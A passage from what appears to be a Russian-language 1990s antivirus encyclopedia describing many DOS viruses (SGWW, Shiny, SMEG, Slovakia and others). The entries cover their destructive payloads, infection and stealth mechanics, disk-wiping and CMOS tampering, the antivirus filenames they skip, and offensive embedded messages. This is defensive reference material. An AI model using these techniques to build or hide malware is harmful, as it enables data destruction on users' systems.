See you later ... Я НЕ ПОБЕДИМЫЙ !!!
Белые братья хуже голубых... Не хочу !
Что смотришь, придурок !? CPU мертв.А FPU не заводится.
Лучше я чем другой, правда? ЛЕНИН ЖИВ !!!
Вентилятор is write protected СТАЛИН УМЕР, НО ДЕЛО ЖИВЕТ !!
Formatting disk C: y/y ? Надейтесь на лучшее !
&^%&^%&#^ - подумал Штирлиц ! Горбачев - сволочь !!!
Анекдот : Колобок повесился ! Ухожу в моностырь (женский)!
Мне нужно срочно позвонить ! Покрась и выбрось !!!
Не занимай левый ряд !!! Выпил пива - писай криво!
Осторожно ,злой USER ! ! ! Guns 'N' Roses это круто !
Конец работы ,ты свободен . Посмотри на часы !!!
У вас пена изо рта идет ! Сколько там времени ?
Всем молчать ! ! ! (C) Porno C++ 3.1
Я хочу КРОВИ !!! (C) Гиви Basic 7.0
Я хочу МЯСА !!! (C) Trubo Pascacal 7.0
Я хочу спать, отруби машину ! Играйте в DOOM III !
Я маньяк Чикатило !!! Все ! Конец света !!!
Матерь мира - М.Д. Христос !! Женщины, не пейте водки !
УРА ! НОВЫЙ ГОД !!! Где твоя босая ножка ?
КМУГА - полигон вирусов ! Тьфу... -" Плевательница !?;
Да обломайся ты ! ФАРЭО ЧЕМПИОН !!!
Не морочь голову !!! Virus detected, system halted
Как вам вирусок? Фигня, фигня Акции АО ~МММ~ упали !!!
Солнце встанет непременно !!! Keyboard error, press F1.
Это не сон, это SONY! TAMPAX - райское наслаждение.
Секретный диск X: установлен А ты записался в КМУГА ???
Вы должны мне 10000 рублей ! Выпьем Водки Ваня ...
SGWW.Nostardamus.5995 также содержит тексты:
Киевскому Международному Университету Гражданской Авиации,
и лично Факультету Авиационного РадиоЭлектронного Оборудования
посвящается:
Вирус - ~Дискоглотатель~. Написан студентом ФАРЭО гр.203
(C) CopyLeft 1994
The NOSTARDAMUS.Maverick (CopyLeft) Version 3.2 ultra by Populizer
SGWW.Nostardamus.1870 имеет текст "NOSTARDAMUS (c) v1.1 beta".
SGWW.Pantera
Неопасный нерезидентный шифрованный вирус. Имеет текст "PANTERA V1.0".
SGWW.Penthouse
Неопасный нерезидентный шифрованный вирус. По средам воспроизводит
некое подобие "тягучей" мелодии.
SGWW.Rattler
Опасный полиморфный стелс-вирус. Если значение дня равно значению
месяца+1 то вирус пытается уничтожить содержимое первого жесткого
диска. Не заражает программы, начинающиеся на AIDS, WEB, CHKD, SCAN.
Содержит текст "This is RATTLER v2.0. Read the Infected Voice!".
SGWW.Simbioz
Неопасный нерезидентный вирус. Производит поиск *.COM-файлов в текущем
каталоге, читает полностью найденный файл в память и производит поиск
байт B4 ?? CD 21, что соответствует вызову прерывания DOS INT 21h. При
нахождении данных байт вирус записывает вместо них инструкцию перехода
на собственный код (E8 ?? ??), который записывает в конец файла. Т.о.,
вирус может получить управление при старте инфицированной программы, а
может никогда не получить (если вирус внедрился в подпрограмму, которая
при заданных условиях никогда не исполняется). В теле вируса имеется
текст "[Simbioz.Inside]".
SGWW.StoneHeart
Неопасный резидентный полиморфный вирус. Уничтожает таблицы ADinf на
всех доступных дисках. Содержит тексты "StoneHeart II", "EMME Small
1.1".
SGWW.Tchechen.1909, 1912, 1914, 1919, 3338, 3370, 3420, 3436, 3564, 3604
Очень опасные резидентные шифрованные (SGWW.Tchechen.3338,3370,3420,
3436,3564,3604 - полиморфные) вирусы. При старте вирусы, кроме вирусов
длиной более 1919 байт, считывают 2 сектор жесткого диска и
записывают в него слово "МИР:" и число 4, которое будет являться
счетчиком стартов инфицированных программ. Потом пытаются найти в ROM
BIOS текстовые строки Megatrends, AWARD. Если этот поиск им удается,
то вирусы выключают в CMOS-памяти опцию Virus Warning on Boot (контроль
записи в загрузочный сектор). Но следует отметить, что при поиске этих
двух слов вирусы иногда не смогут найти слово AWARD. При достижении
счетчика во 2 секторе значения 0 вирусы заменяют слово "МИР:" на
непотребное слово из 3 букв и записывают в MBR жесткого диска
"троянский" код. Данный код при загрузке системы самостоятельно отдает
управление активному загрузочному сектору жесткого диска, но, примерно,
через месяц (10 дней для вирусов SGWW.Tchechen.3338, 3370, 3420, 3436,
3604) после записи данного кода в MBR уничтожает содержимое всего
первого жесткого диска. После чего планировался вывод на экран
нижеследующего текста (SGWW.Tchechen.1914 содержит ошибку в данном
выводе):
POLITICAL PRO$TITUTE$ OF THE WORLD, (UN)ITE !
IN REWARD FOR THE SCORCHED EARTH OF TCHECHNYA.
ENJOYIN' WAR BY TV YOU'RE GLAD -YOUR ASS IS SO FAR FROM.
WAIT, YOU'LL SEE THE REAL BLOOD SOON..RIGHT AT YOUR WINDOW
AND YOU WORTH IT !!!
The Tchechen,(C)RUSSIAN BEAR,1995.
SGWW.Tchechen.3338, 3370, 3604 выводят текст:
HALF YEAR OF WAR HAS GONE. IT STILL DOES.
MASS MURDER WAS RECOGNIZED BY THE WORLD COMMUNITY.
ACCEPT MY CONGRATULATIONS ! ENJOY THE WORLD'S NEW ORDER !
THE TCHECHEN, v2.1 (C) RUSSIAN BEAR. 1995,JUNE
SGWW.Tchechen.3420 выводит текст:
`I`M WASTING TIME APPEALING TO YOU.
WASTE YOUR...TO RESTORE HD.
THE TCHECHEN v2.2 Web&BugsFix (C) RUSSIAN BEAR, 12.12.95
SGWW.Tchechen.3436 выводит текст:
`I`МаWASTINGаТIMЕаАPPEALINGаТOаУOUоНКаWASTЕаУOURо^оТOаRESTORЕаНDоНКа
THЕаТСНЕСНЕNаv-о-аWebжBugsFixаиСйаRUSSIANаBEARма--о--НК
Вирусы SGWW.Tchechen.1909, 1912, 1914, 1919 содержат также текст
"Данилов и Лоз! Убьете-похороню ваше г и г ваших юзеров!!!".
SGWW.Tchechen.3338, 3370, 3604 имеют другой текст:
И.Д.! Это уже не 1914, хотя и тот Тебя вовсю имел !
Я обещал - похороны мира ПК начались! Танцуют все!
Ты-РЕБЕНОК перед нами, юзера-ДЕТИ перед Тобой! Расскажи им сказку про
надежность WEB'a! Отец- герой! Самолюбие не пустит этот текст в List !
А есть ли оно у автора такой попсы, как WEB ? Хочется верить.
До встречи!
А ну-ка поймай все штаммы!
SGWW.Tchechen.3436 содержит другой текст "И.Д.! Моральные похороны
DrWEB`а продолжаются. Ну теперь-то потанцуем ?". Честно говоря, я,
может быть, и потанцевал бы ... Но не вижу причины.
SGWW.Tchechen.3564 содержит текст:
И.Данилов ! Это новый вирус,ЕГО НАЗВАНИЕ SHAYSE.
Dr.web SHAYSE не ловит.Это универсальная программа.
Исправлены некоторые мелкие недочеты, AWARD too.
Как тебе этот вариант ? Он пока на первом месте.
Пламенный привет тебе From SEBASTOPOL ! До встречи!
SGWW.Tchechen.3338, 3370, 3420, 3436, 3604 не заражают программы,
начинающиеся на WE,AD,AI,CO,DR, AV, TB, CH. SGWW.Tchechen.1914, 3338,
3370, 3564, 3604 неработоспособны на процессоре Pentium.
SGWW.Train
Неопасный резидентный полиморфный стелс-вирус. Содержит текст:
"Run away train never come back !". Не заражает файлы, начинающиеся на
AIDS, CHKD, WEB, SCAN, COMM, WIN.
SGWW.Zoo
Неопасный нерезидентный вирус. Заражает DOS заголовок в файлах формата
NewExe (файлы для Windows 3.1x). Вирус записывает в MZ-заголовок свой
код, корректируя параметры данного заголовка. В результате при запуске
в DOS такой программы вирус попытается заразить все NewExe файлы в
текущем каталоге. Вирус содержит зашифрованные тексты:
*.exe
This program requires Microsoft Windows.
(c) DNazi
Мы уйдем из зоопарка!
Sh.983, Sh.988
Неопасные зашифрованные вирусы. Размещают свою TSR-копию в двух
различных сегментах памяти. Первая часть длиной 539 или 541 байт для
Sh.988 размещается в сегменте 001E:0000h, вторая часть длиной 444 или
447 байт для Sh.988 - в сегменте 0054:0000h. Не заражают файлы,
начинающиеся на AI, WP, HI, DO, KR. Содержат тексты:
Sh.983 - "(С) Shel,NSTU,1994,v3.1", "*.exe *.com", "Sh";
Sh.988 - "Novosibirsk,NSTU,1994,(С) Shel,v3.1", "*.exe *.com", "Sh".
Sh.1333
Опасный резидентный "слабополиморфный" вирус. Содержит 3 варианта
расшифровщиков. Уничтожает файлы chklist.ms и c:\????f?c?.* (таблицы
ADinf и ADinfExt), создавая их заново. Содержит тексты:
(C) Shel,NSTU,1994,v4.0
Sh
*.exe c:\ c:\dos chklist.ms c:\????f?c?.*
Shiny.918, Shiny.921, Shiny.934
Неопасные резидентные вирусы, кроме Shiny.918, который очень опасен.
Трассируют INT 21h. Перехватывают INT 1, 3, 9, 21h. Внедряют один байт
CCh (INT 3) в оригинальный обработчик INT 21h. Shiny.921, Shiny.934
изменяют символы, вводимые с клавиатуры. Например, изменяют следующие
последовательности символов:
:-) на :-(
:=) на :=(
;-) на ;-(
|-) на |-(
:) на :(
Shiny.921 и Shiny.934 содержат текст:
Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism
Shiny.918 может уничтожить содержимое CMOS-памяти, а также 1 числа
любого месяца уничтожает 10 секторов корневого директория текущего
диска и выводит сообщение:
The root directory of the current drive has
been destroyed by the 7% Solution 3.0 virus!
Shirley.4096
Неопасный резидентный вирус. Содержит текст:
Marty McFly lives somewhere in time (Doc Brown)kFuck for Eddie!!
There is only one place to spend nice holidays... CASAL BORSETTI
in Italy... Fuck for John McAfee
and all the other Vrs-Killers...We have a right to live !!!!!!!!
Greetings to the 1704... you were the first Virus, that infected my System!
Greetings to Jerusalem-B...You were the Second! But now its my turn.
Hope You have fun with the Shirley-Virus !!!!!!
Dies ist die Geschichte einer Dreiecksbeziehung,кФnnte mann sagen-A.C,L.C.
und,natБrlich,CHRISTINE. Aber sie sollten wissen,dass Christine zuerst kam.
Sie war Arnies erste Liebe, und obwohl ich nicht meine Hand dafБr ins Feuer
legen moechte(denn mit 22 kann der Mensch sich ja noch irren),мФсhte ich
doch sagen,dass Christine seine einzige wahre Liebe gewesen ist.
Deshalb ist diese Liebesgeschichte fБr mich eine TragФdie
Shish.1002, 1142
Очень опасные резидентные вирусы. С вероятностью 1/2 сохраняют в своем
теле значение не оригинального, а измененного поля IP (+14h) заголовка
(прибавляет к IP 10h) инфицированного EXE-файла. При старте такого
EXE-файла вирусы,также с вероятностью 1/2 могут вычесть 10h из значения
IP при отдаче управления программе-дрозофиле или оставить эту величину
неизменной (правильной или неправильной). В результате, все
инфицированные файлы могут "вешать" систему при старте. Возможно
некорректное лечение таких файлов. Shish.1142 при нажатии на Ctrl-Alt-
Del выводит текст:
WARNING!
SYSTEM REPORT:
If your system does not work properly,
change the month of the current system date.
Error code #
Вирусы содержат тексты:
Shish.1002: "[SHISH. Version 1.00][How long have you been encrypting
the "Mutation Engine" in your source code?]"
Shish.1142: "[SHISH. Version 2.00]".
ShuHard.386
Неопасный резидентный вирус. При старте какой-либо программы, имеющей в
командной строке параметр "doom",вирус на время работы данной программы
с помощью регистра управления CR0 запрещает использование внутренней
кэш-памяти процессора. Содержит текст "DOOM MD! R.ShuHard 1997".
Sibylle.853, 858
Опасные резидентные вирусы. Могут установить атрибуты файла в VOLUME
LABEL (метка тома),а также могут записать в файл C:\AUTOEXEC.BAT текст:
:b
echo Looking for Sibylle...
goto b
Sierra (1-4)
Sierra (1) - неопасный, а Sierra (2-4) - опасные загрузочные стелс-
вирусы. Sierra (1) после заражения диска выводит на экран текст
"El Monвсulo del Conde Sierra". Sierra (2-4) в 00:33 и 08:33 уничтожают
сектора дисков.
Silly-вирусы
Данное название дается тем вирусам, которым нет возможности дать
никакого имени. Обычно эти вирусы не содержат внутри себя никаких
текстовых строк и ничем не проявляются кроме саморазмножения.
SillyC - нерезидентные, заражающие COM-файлы.
SillyE - нерезидентные, заражающие EXE-файлы.
SillyCE - нерезидентные, заражающие COM и EXE-файлы.
SillyRC - резидентные, заражающие COM-файлы.
SillyRE - резидентные, заражающие EXE-файлы.
SillyRCE - резидентные, заражающие COM и EXE-файлы.
SillyO - вирусы, замещающие программный код на свой (overwritig viruses).
SillyOR - резидентные вирусы, замещающие программный код на свой.
SillyC.316
Очень опасный нерезидентный вирус. После 20 заражений файлов уничтожает
32 первых сектора жесткого диска.
SillyC.638
Опасный нерезидентный вирус. Иногда разрушает файл, записывая в его
начало пять байт, производящих перезагрузку системы. Устанавливает в
область таблицы векторов прерываний резидентный код, который иногда
издает звуковой сигнал или игнорирует нажатие на клавишу.
SillyE.714
Очень опасный нерезидентный вирус.Уничтожает случайные сектора текущего
логического диска.
SillyE.1264
Очень опасный вирус. Не заражает файлы до августа-месяца. После 3 числа
месяца в корневом оглавлении диска C: ставит всем элементам оглавления
признак удаления, байт 0E5h.
SillyO.276
По окончании своей "работы" выводит фразу "Bad Command or file name".
SillyRC.438
Опасный резидентный вирус.Может уничтожить информацию на всех доступных
логических дисках.
SillyRCE.822
Периодически выводит в левом верхнем углу "\". Содержит строку "NT".
SillyRCE.972
Опасный вирус. Заражает COM и EXE-файлы не различия их по именам или по
формату, стандартным образом для COM-файлов,- записывая 5 байт перехода
на вирусный код в начало файла, и основное тело вируса в конец файла.
По окончании своей работы восстанавливает 5 начальных байт на
оригинальные значения, самостоятельно запускает программу (f.4B00h INT
21h), и после возвращения управления вирусу, обратно восстанавливает
начальные байты на вирусный переход. Иногда при старте программ, размер
которых больше, чем 64K, вирус уничтожает данные программы, записывая в
них 30000 случайных байт.
SillyRE.488
Опасный резидентный вирус. Блокирует вывод на принтер. При записи в
файл (f.40h Int 21h) производит смещение буфера записи на величину
1992h.
SillyRE.525
Неопасный резидентный вирус. После установки своей резидентной копии
вирус выводит текст "Hallo world!".
SillyRE.666
Опасный шифрованный вирус. После установки в память своей TSR-копии
вирус записывает длинной записью (f.0Bh INT 13h) в 11 сектор 0 дорожки
1 головки (обычно первая копия FAT) "мусор".
SillyWilly.2256
Очень опасный полиморфный вирус. Заражает *.COM-файлы на диске C:. У
инфицированных файлов изменяет 16 байт начала файла, а также 16 байт в
случайном месте файла. Из первого участка кода вирус передает
управление во второй участок, из которого уже управление передается на
расшифровщик основного тела вируса. Вирус производит поиск *.EXE-файлов
и уничтожает их, записывая поверх программного кода 1317 байт
программы, производящей вывод на экран следующей картинки:
------------
--------------
- /\ /\ -
¦ O O ¦
¦ ¦
¦ (..) ¦
¦ ) \__/ ( ¦
\__________/
Hello, I'm Silly Willy! -
Now I'm formating Your HARDDISK!
That's fine! - Isn't it? (har,har)
Formating Drive C: ...
ERROR: No SYSTEM found!
No files on drive C:
Insert SYSTEM diskette in drive A: and push any key!
После чего пытается уничтожить содержимое диска A:, записывая в сектора
фразу "The User of This Computer Is Stupid!".
Sily.745
Неопасный резидентный вирус. После 31 августа выводит текст:
-== Hi! Everybody! This is nice and sily virus for you ==-
Постоянно изменяет цвет фона данного текста (красный, синий, зеленый) и
в такт изменения цвета мигает лампочками NumLock, CapsLock, ScrollLock.
Simulation
Неопасный нерезидентный полиморфный вирус. Не заражает COMMAND.COM.
После заражения COM-файла может вывести одно из перечисленных сообщений:
HA HA HA YOU HAVE A VIRUS !
FRODO LIVES!
Have you ever danced with the Devil in the pale moonlight?
DATACRIME VIRUS RELEASED: 1 MARCH 1989
ALIVE... Your system is infected by the SIMULATION virus.
Have a nice day!
Singapore.521
При заражении файлов мигает лампочками "Num Lock", "Caps Lock" и
"Scroll Lock".
Singapore.534
С вероятностью 1/8 включает лампочки "Num Lock, "Caps Lock", "Scroll
Lock".
Sirius.1081
Неопасный резидентный полиморфный вирус. Содержит текст "[EBBELWOI]
Vers.QUX7 - 3/94 (Ы)SiriuS - Ser.Nr:RAM849116".
SheHas
Неопасный загрузочный вирус. Содержит текст "Virginia / Shirley ---
She has BREASTS, yes she has !!!".
Skew.445, 458, 469
Неопасные резидентные вирусы. Каждый час сдвигают развертку на
мониторах EGA, на CGA или VGA "дергают" развертку.
Sl.142, 155, 181, 200(1,2)
Резидентные вирусы. Располагаются в памяти по адресу 0060:0000. Sl.142
перехватывает INT 17h (вывод на принтер) и обнуляет 15 бит при печати.
Свое название получили по инициалам своего создателя - Свиридова Льва.
Slava.492, 500
Неопасные резидентные вирусы. Содержат тексты "command" и
"Слава Владыке".
Slovakia.3584 (1-3), Slovakia.Kill
Опасные полиморфные стелс-вирусы. Slovakia.Kill при старте на
компьютере с процессором Pentium в октябре до 11 числа уничтожает
случайные сектора жесткого диска. При заражении файла во время его
запуска, переименовывают его в файл svl.svl, заражают его и возвращают
данному файлу первоначальное имя. Удаляют файлы chklist.ms,
chklist.cps, smartchk.cps, в каталоге инфицируемого файла. Содержат
текстовую строку "scan avg vir asta alik rex msav cpav nod clean f-prot
tbav tbutil avast nav vshield vsafe dizz". Файлы, в именах которых
встречаются данные текстовые последовательности, вирусы не заражают. В
первые четыре дня августа (Slovakia.3584(3) - в первые три дня января)
выводят текст:
Slovakia.3584 (1):
I'am SLOVAKIA virus Version 1.0 Copyright (c) 19.1.1994 SVL
Slovakia.3584 (2):
I'am SLOVAKIA virus Version 1.1 Copyright (c) 29.1.1994 SVL
Slovakia.3584 (3):
I'am SLOVAKIA virus Version 1.2 Copyright (c) 1994 SVL
Содержат тексты:
Slovakia.3584 (1): "(C) 26.1.1994 SVL TechnicкВ paramete: MENO:
Slovakia v.1.0. TYP: Rezidentny COM&EXE infektor. KRYPTOVANIE".
Slovakia.3584 (2): "(C) 26.1.1994 SVL TechnirvO".
Slovakia.3584 (3): "(C) SVL MENO: Slovakia v.1.2.".
Slovakia.Kill: "SLOVAKIA virus Kill Version Copyright (c) 1994 SVL",
"(C) 26.1.1994 SVL TechnicкВ paramete: MENO".
Sly
Очень опасный файлово-загрузочный вирус. Заражает EXE-файлы и MBR
жесткого диска. При старте зараженного EXE-файла, вирус заражает MBR
"винчестера" и "перезагружает" систему. При загрузке системы с такого
инфицированного диска, вирус устанавливает свою резидентную копию в
память и "перехватывает" INT 13h (операции с дисками). При чтении или
записи дискового сектора, вирус проверяет не является ли данный сектор
заголовком EXE-файла (сигнатура "MZ" в начале файла). Если данный
сектор в своем начале содержит слово "MZ", то вирус записывает вместо
данного сектора свои 512 байт кода, которые также находятся в формате
EXE-файла. Оригинальный же сектор заголовка EXE-файла вирус записывает
в случайный сектор данного диска и запоминает координаты данного
сектора в своем теле. Резидентная копия вируса также отслеживает чтение
секторов, содержащих вирусный EXE-заголовок, и по сохраненным
координатам сектора, содержащего оригинальный EXE-заголовок,
восстанавливает данный заголовок в памяти. Таким образом, данный вирус
является стелс-вирусом, и если сектор с оригинальным EXE-заголовком не
был перезаписан DOS, то при старте инфицированного EXE-файла,
резидентная копия вируса "подставит" "нужное" начало инфицированного
EXE-файла. Механизм заражения устроен таким образом, что при каждом
заражении EXE-файла на жестком диске, существенно уменьшается
вероятность следующего заражения EXE-файла на "винчестере". Все свое
внимание вирус пытается "сконцентрировать" на EXE-файлах на флоппи-
дисках.
SMEG-вирусы
SMEG (Simulated Metamorphic Encryption Generator) - полиморфный
генератор вирусных шифровщиков и расшифровщиков. Создан английским
вирусописателем известным, как Black Baron. По имеющимся данным он был
арестован в июле 1994 года британской полицией за создание очень
опасных вирусов SMEG.Pathogen и SMEG.Quueg (см. ниже).
SMEG.Pathogen.3732
Очень опасный, использующий довольно сложный алгоритм шифровщика,
полиморфный вирус. В расшифровщике могут использоваться все команды
передачи управления для внутрисегментной адресации. Перехватывает INT
21h, INT 13H, INT 20h. В понедельник может записать в CMOS в байт 10h
(тип используемых флоппи-дисков) значение 0 - дисководы не установлены.
После этого корректирует контрольную сумму CMOS (ячейки 2Eh-2Fh), чтобы
при инициализации системы BIOS "не заподозрил" неладное. После данных
манипуляций компьютер "не видит" дисководов гибких дисков. Также в
понедельник в 11 часов, при определенных условиях, может вывести текст:
Your hard-disk is being corrupted, courtesy of PATHOGEN!
Programmed in the U.K. (Yes, NOT Bulgaria!) [C] The Black Baron 1993-4.
Featuring SMEG v0.1: Simulated Metamorphic Encryption Generator!
'Smoke me a kipper, I'll be back for breakfast.....'
Unfortunately some of your data won't!!!!!
И, действительно, после этого устанавливает обработчик клавиатуры INT
09h на свой код и уничтожает информацию в случайных секторах первого
жесткого диска (80h). Если в этот момент не перегрузить компьютер
кнопкой "RESET" или не выключить питание (комбинация Ctrl-Alt-Del - не
поможет), то содержимое "винчестера" может быть полностью уничтожено.
SMEG.Queeg.3756
Очень опасный, полиморфный вирус. В воскресенье в 12 часов может
вывести на экран:
----------------------------¬
¦ -п QUEEG о- ¦
¦ ~~~~~ ¦
¦ (C) The Black Baron 1994 ¦
¦ ¦
¦ Featuring: SMEG v0.2 ¦
¦ ¦
¦ Better than life..... ¦
L----------------------------
После чего производит действия для уничтожения информации на жестком
диске, описанные в SMEG.Pathogen.3732
SMEG.Trivia.2437
Неопасный нерезидентный полиморфный вирус. В пятницу 13 числа выводит
сообщение "This program requires Microsoft Windows.", после чего
заканчивает выполнение инфицированной программы f.4C00 INT 21h. Данный
вирус был создан Black Baron для демонстрации использования его
полиморфного генератора SMEG v0.3.
Smile.4320
Неопасный резидентный файлово-загрузочный вирус. Заражает MBR жесткого
диска. При загрузке системы с инфицированного диска вирус устанавливает
свою TSR-копию в память и перехватывает INT 21h. Иногда может проиграть
"хохот и удаляющиеся шаги".
Smoker.631
Неопасный резидентный вирус. Содержит текст "Smoker "8-E".
Sms.480
Неопасный резидентный вирус.Имеет такой текст "SmS bItEs !!! aNd Is gAy
ToO !!! wRiTteN bY BiGMaRtY, 2/13/96 HaPpY vAlEnTiNeS DaY eVeRyOnE...
tRy nOt tO fUcK tOo mUcH ;)".
Snap.228
Опасный нерезидентный вирус. Из-за ошибки разрушает файлы,длина которых
менее 228 байт. По окончании своей "деятельности" производит негромкий
"щелчок".
Snowfall.5000 (1,2)
Очень опасные шифрованные резидентные стелс-вирусы. Иногда выводят
сообщение:
Swap file creation error at 0FAD:2DEC.
Program aborted.
и прекращают выполнение программы. В январе выводят на фоне снегопада
текст:
Happy New Year !
Ghost 1.0 is terminating it`s work now. Please wait...
Write down this number : 0000000000 and pray for your data rescue.
И пока пользователь любуется снегом, "заметающим" данный текст, вирусы
шифруют сектора первого жесткого диска, указанным в тексте ключом.
Вирусы мешают работать с файлами, имеющими расширения PAS и CPP.
Содержат также текст:
I feel so tired.
The way the rain comes down how it`s how I feel inside.
I`ve been living so long with my pictures of you
Remembering you standing quiet in the rain
There is nothing in the world that I ever wanted more than to never
feel breaking apart all my programs again.
The spiderman is always hungry
Sochi.703
Очень опасный нерезидентный вирус. Записывает в MBR жесткого диска
троянский код, который после 40 перезагрузок с жесткого диска в течение
20 загрузок выводит сообщение "Enter password:", после чего уничтожает
код собственного загрузчика активного boot-сектора. Содержит текст
"*Ks&I* Sochi Olympic Games 2002".
Solar.512
Опасный резидентный вирус. Блокирует запись на диск B:. Содержит текст:
"Bring your FDD drive... to the slaughter"(C) Solar Wind fault!
Function not
Sosun.232
Неопасный резидентный вирус. "Перехватывает" только INT 10h. При вызове
данного прерывания вирус пытается определить имя по текущему PSP
стартовавшей программы и инфицировать ее.Содержит текст "Видал сосун ?"
Sov.1193, 1205
Неопасные резидентные вирусы. 23 февраля, 7 марта, 22 и 30 апреля, 6
ноября Sov.1193 рисует на экране черно-белые полосы, а Sov.1205 выводит
текст:
-- ----- -- --
-- -- -- --- ---
-- -- -- ---- ----
-- --------- -- ---- --
-- -- -- -- -- --
-- -- -- -- --
-- -- -- -- --
---- ---- ---- ----------- ---- ---- --------
---- ---- ---- ------------ ---- ---- ----------
---- ---- ---- ---- ---- ---- ---- ----
---- ---- ---- ---- ---- ---- ---- ----
---- ---- ---- ------------ ---- ---- --------
---- ---- ---- --------- ---- ---- --------
------- ---- ---- ----- ---- ---- ----
------- ---- ---- ----- ---- ---- ----
----- ---- ---- ----- ----------- ----------
----- ---- ---- ----- --------- --------
Содержат тексты:
Sov.1193:
(C)1987 American Megatrends Inc.286-BIOS (C)1989 American Megatrends Inc
Ё(c) COPYRIGHT 1984,1987 Award Software Inc.ALL RIGHTS RESERVEDtА Ё
Sov.1205:
(C)1991 SoftWare Developed by Maxi----Lena All Rights Reserved рт
Ё(c) COPYRIGHT 1984,1987 Award Software Inc.ALL RIGHTS RESERVEDtА Ё
Sova.4060
Опасный резидентный вирус. 29 февраля и 3 марта уничтожает все файлы
и каталоги в корневом директории диска,имена которых начинаются на WIN.
Имеет текст "sova!!".
SoulMan.5536
Неопасный резидентный полиморфный вирус. Написан на языке Turbo C++ с
ассемблерными вставками. Не заражает файлы TB*, IC*, DR*, *AN. Вирус
имеет, как и положено для программ, написанных на C, стандартную
внутреннюю структуру: стартовый код, основную процедуру Main,
библиотеки C и сегмент данных. Но основная процедура Main написана на
ассемблере и является полиморфнозашифрованной. При старте вируса
управление попадает на startup, производится настройка программы, а
далее управление передается процедуре Main, которая расшифровывает себя
и библиотеки C, а затем устанавливает в память свою резидентную копию.
Для возвращения управления программе-носителю вирус обрабатывает
функцию завершения работы (f.4Ch Int 21h) и вместо завершения работы
отдает управление точке входа оригинальной программы. Вирус содержит
тексты:
Dis quick test virus was written by The Soul Manager on 5/9/97
(Yes, yes, I *ADMIT* I should find something to do with a Friday night).
Greetz to Immortal Riot (from Australia).
I am, I am, I am
Spanska.1000, 1120 (1,2), 1500
Опасные нерезидентные зашифрованные вирусы.Из-за ошибок могут разрушить
инфицируемые файлы. В период с 22.00 до 22.30 рисует на экране в
графическом режиме языки пламени и выводят тексты:
Remember those who died for Madrid
No Pasaran! Virus (c) El Gato 1996
To Carl Sagan, poet and scientist,this little Cosmos. (Spanska 97)
Spanska.1500 выводит в графическом режиме изображение, видимо, Марса и
текст "Mars Land, by Spanska(coding a virus can be creative)".
Spanska.4250
Неопасный резидентный полиморфный вирус. При заражении файлов создает
свою полиморфную копию в зависимости от текущего числа месяца. Копии
зараженных файлов в один день будут отличаться от таких же файлов,
инфицированных на следующий день. Не заражает файлы из списка (по 2
символа на имя): TBVIAVNAVSFIF-FVIVDRSCGUCOPKARRALHBA. Пытается
заразить файл C:\WINDOWS\WIN.COM. Если значение минут системного
времени равно 30, то вирус выводит в графическом режиме один из
следующих текстов:
ELVIRA !
Black and White Girl
from Paris
You make me feel alive.
ELVIRA !
Pars. Reviens. Respire.
Puis repars.
J'aime ton mouvement.
ELVIRA !
Bruja con ojos verdes
Eres un grito de vida,
un canto de libertad.
Содержит текст "(c) Spanska 97".
Specified.2048
Опасный резидентный вирус. Перехватывает INT 13h, 21h. При записи
секторов через INT 13h вирус может изменить некоторый байт на значение
0FFh. При запуске программ с дисков A: или B: вирус уничтожает
содержимое сектора 1 на головке 1 данного диска. Содержит тексты:
Specified!
cess denied
Access denied
Out of environment space
Incorrect DOS version
Invalid environment size specified
/DEV/CON
\COMMAND.COM A:\AUTOEXEC.BAT
Spirit
Неопасный загрузочный вирус. Содержит текст "SPIRIT (c) MW".
Spirit.1710
Опасный резидентный вирус. С июля по декабрь в 11 и 16 часов уничтожает
содержимое 15, 16 и 17 сектора н а нулевой дорожке жесткого диска.
Содержит текст "** (C) The Evil Spirit ** Gabrovo city, Bulgaria.
Last_change : 28.05.1993". Не заражает программы COMMAND.COM, F-PROT,
F-TEST, VIR, DIR2CLR, IMV, ANTI, DOCTOR, SCAN, CLEAN, IVC, CHKDSK.
Split.250
Опасный нерезидентный вирус. 1 числа уничтожает файлы ????????.D??.
Содержит строку "SPLIT".
Spook (1,2)
Очень опасные загрузочные вирусы. Spook (1) при каждом 4 заражении MBR,
а Spook (2) при каждом 3, не сохраняют 2 последних элемента таблицы
логических разделов первого жесткого диска. Содержат текст "Spook 1.0
LIM"
Spruce.976
Неопасный резидентный вирус. Может несколько раз устанавливать в памяти
свою резидентную копию. Пытается иногда играть мелодию "В лесу родилась
елочка", но это ему не удается.
Srp.2248, 2296, 2380
Неопасные нерезидентные вирусы. При заражении EXE-файла Srp.2248 издает
звуковой сигнал. Srp.2296, 2380 при заражении файлов выводят текст
"Successfully". Srp.2380 содержит тексты:
Я хорошая собачка ! Молчи , ЖЕНЩИНА ! (c) Copyright 1996 by ВАНЯТКА
(AKA M-r TapeWorm) tel +7(095) FuckYou!!!
Ssr.1945 (1,2)
Неопасные зашифрованные (Ssr.1945 (2) - полиморфный) вирусы. 8 и 9 мая
1995 года (Ssr.1945(2) - в мае 1997 года, начиная с 9 числа) выводят на
экран:
¦------- ------
- ¦------- ¦-- ¦-- -
--- ¦-- ¦-- ¦-- ---
----- ------ ¦-- ¦-- -----
----------- -------¦-- ¦-- -----------
------- ---¦-- ¦-- -------
----- ¦-- ---¦-- ¦-- -----
--- --- -------- ------ --- ---
- - ------ ---- - -
г==¬ г===¬ г==¬
¦ ¦ ¦ ¦ ¦ ¦
г- ¦ г=== ==T== ¦ ¦ г==¬ г=== г=== ¦ ¦ T T
¦ ¦ ¦= ¦ ¦ ¦ ¦ ¦ ¦==¬ ¦= ¦ ¦ ¦==¬ ¦
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ г¦==¦¬ ¦ ¦ ¦
¦ ¦ L=== ¦ ¦ ¦ L==- L==- L=== ¦ ¦ L==- ¦
Б Е Й Ф А Ш И С Т О В !!! З А Н А Ш У С О В Е Т С К У Ю Р О Д И Н У !
З а С т а л и н а и П а р т и ю !!!
Ждет нажатия на клавишу,после чего проигрывает мелодию. Содержит текст:
AntiFashist
Это,собственно,не программа,
а самое общее марксистское заявление... (В.И.Ленин)
Советский сношатель by Stainless Steel Rat
Проживи всю жизнь Этой датой !
S.S.R.S.S.R.S.S.R.S.S.R.S.S.R.
Sstr.717
Содержит текст "(C) by SSTR".
STan.1700
После 100 заражений вирус выводит текст:
Hello. I am ~STan~ Virus. Please send me to Losinsky.
I will wait long time until you press Some Key Kombination.
Somebody knows this Key Combination.
Please don't trace and disassembly my code.
Bye. "-------------- (press any key to continue)
Если ввести слово "faust", то вирус выведет следующее сообщение:
